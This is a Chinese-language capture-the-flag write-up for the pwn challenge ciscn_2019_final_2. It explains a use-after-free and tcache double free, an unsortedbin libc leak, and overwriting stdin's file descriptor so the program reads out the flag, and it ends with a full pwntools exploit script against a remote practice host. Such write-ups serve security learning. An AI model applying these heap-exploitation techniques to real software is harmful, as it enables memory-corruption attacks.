ciscn_2019_final_2
这应该是我目前做过最复杂的题目了qwq
惯例我们先来checksec一下
保护全开的64位程序
放进ida64里看看
非常标准的一道菜单题 1 添加堆 2 删除堆 3 展示堆
main函数没啥营养就不贴了
我们需要关注的一点是在init函数中我们会先用open函数打开flag文件 然后将flag的文件描述符改为666
同时我们也可以从函数列表这个找到sandbox 通过seccomp-tools工具我们可以发现我们好像啥都用不了了 因此one_gadget无法使用
allocate
delete
存在uaf漏洞
show
bye bye
本来以为这个函数没啥用 后来看了大师傅的wp才知道scanf用的是stdin,我们把stdin的文件描述符1改为666就是输出flag的内容
审题完毕,开始解题
开始时没啥思路 后来看了Nqoinaen师傅的文章豁然开朗 (40条消息) ciscn_2019_final_2(合并为unsortbin,doublefree)_Nqoinaen的博客-CSDN博客
目的:通过堆利用劫持_IO_2_1_stdin_结构体,修改文件描述符为666
首先我们要泄露libc的地址 因此我们考虑使用unsortedbin attack来泄露libc的地址
因此我们先申请合计3*0x20+0x30=0x90的chunk以便后面的unsortedbin利用 然后再申请一个0x20的chunk用于double free
add(1,0x11111111)#chunk 286331153
free(1)#free chunk0
add(2,0x2222)#chunk1
add(2,0x3333)#chunk2
add(2,0x4444)#chunk3
add(2,0x5555)#chunk4
接下来我们double free掉chunk4
这样已经被free掉的chunk4的fd指针就指向了它自己了
free(2)#第一次free chunk4
add(1,0x11111111) #再原先chunk0的位置再次申请一个chunk0 将bool值赋一 为第二次free做前提条件
free(2)
show(2)#通过show函数泄露chunk4的最后四位地址 然后通过这四位地址我们就可以得到chunk0的低四位地址
io.recvuntil('your short type inode number :')
heap_low_addr=int(io.recvuntil('\n')[:-1])
print('heap_low_2byte='+hex(heap_low_addr))
然后我们令bin链指向最前面申请的0x30大小的chunk,并把原本的地址清零
add(2,heap_low_addr-0xa0)#令bin链指向chunk0的size位 但此时bin中已经存储的仍是chunk4因此我们要先再申请一次chunk4后再次申请才能申请到chunk0的位置
add(2,0)
接下来我们释放chunk0(注意这个被free掉的chunk0大小为0x30是进入0x30的tcache中的),然后我们再次申请0x20的chunk令我们可以修改chunk0的size位,我们将size修改为0x91令chunk0可以被放入unsortedbin中
free(1)
add(2,0x91)
接下来就是我们利用unsortedbin attack泄露libc了
由于该题的libc为libc.2.27因此tcache已经被加上了 因此我们要先将0x90大小的tcache填满后才能将chunk放入unsortedbin中
for i in range(7):#用于填满tcache的7个chunk
free(1)
add(2,0)#用于将bool值赋一
free(1)#将chunk0放入unsortedbin中 由于此时unsortedbin只有一个因此它的fd与bk均指向一个位置
show(1)#泄露main_arena+96地址的后八位
io.recvuntil('your int type inode number :')
main_arena_low_4byte=int(io.recvuntil('\n')[:-1])-96
malloc_hook_low_4byte = (main_arena_low_4byte & 0xFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base_low_4byte=malloc_hook_low_4byte-libc.sym['__malloc_hook']#通过mainarena我们可以得出libc_base
stdin_filno_low_4byte=libc_base_low_4byte+libc.sym['_IO_2_1_stdin_']+0x70#得到stdin_dilno我们的目标就是将该地址上存储的内容改为666
然后我们再次利用add将chunk0的后4位改成stdin_filno的后四位 这样我们就将tcache中的size0x30的fd指针指向了stdin_filno,同样由于在更改前tcache上的下一个chunk的位置已经固定因此我们要先多申请一个chunk然后下一个才能将chunk分配在我们的目标位置 即stdin_filno上 然后我们将内容篡改为666这样当我们执行leave时scanf读取的就是flag文件上的内容了就可以输出flag的值了
add(2,stdin_filno_low_4byte)
add(1,0)
add(1,666)
leave('a')
exp:
from pwn import *
io=remote('node4.buuoj.cn',26111)
context.log_level='debug'
elf=ELF('./ciscn_final_2')
libc=ELF('./libc-2.27.so')
def add(choice,number):
io.recvuntil('> ')
io.sendline(b'1')
io.recvuntil('>')
io.sendline(str(choice))
io.recvuntil('your inode number:')
io.sendline(str(number))
def free(number):
io.recvuntil('> ')
io.sendline(b'2')
io.recvuntil('>')
io.sendline(str(number))
def show(number):
io.recvuntil('> ')
io.sendline(b'3')
io.recvuntil('>')
io.sendline(str(number))
def leave(content):
io.recvuntil('> ')
io.sendline(b'4')
io.recvuntil('what do you want to say at last? \n')
io.sendline(content)
add(1,0x11111111)#chunk 286331153
free(1)#free chunk0
add(2,0x2222)#chunk1
add(2,0x3333)#chunk2
add(2,0x4444)#chunk3
add(2,0x5555)#chunk4
free(2)
add(1,0x11111111)
free(2)
show(2)
io.recvuntil('your short type inode number :')
heap_low_addr=int(io.recvuntil('\n')[:-1])
print('heap_low_2byte='+hex(heap_low_addr))
add(2,heap_low_addr-0xa0)
add(2,0)
free(1)
add(2,0x91)
for i in range(7):
free(1)
add(2,0)
free(1)
show(1)
io.recvuntil('your int type inode number :')
main_arena_low_4byte=int(io.recvuntil('\n')[:-1])-96
malloc_hook_low_4byte = (main_arena_low_4byte & 0xFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base_low_4byte=malloc_hook_low_4byte-libc.sym['__malloc_hook']
stdin_filno_low_4byte=libc_base_low_4byte+libc.sym['_IO_2_1_stdin_']+0x70
add(2,stdin_filno_low_4byte)
add(1,0)
add(1,666)
leave('a')
io.interactive()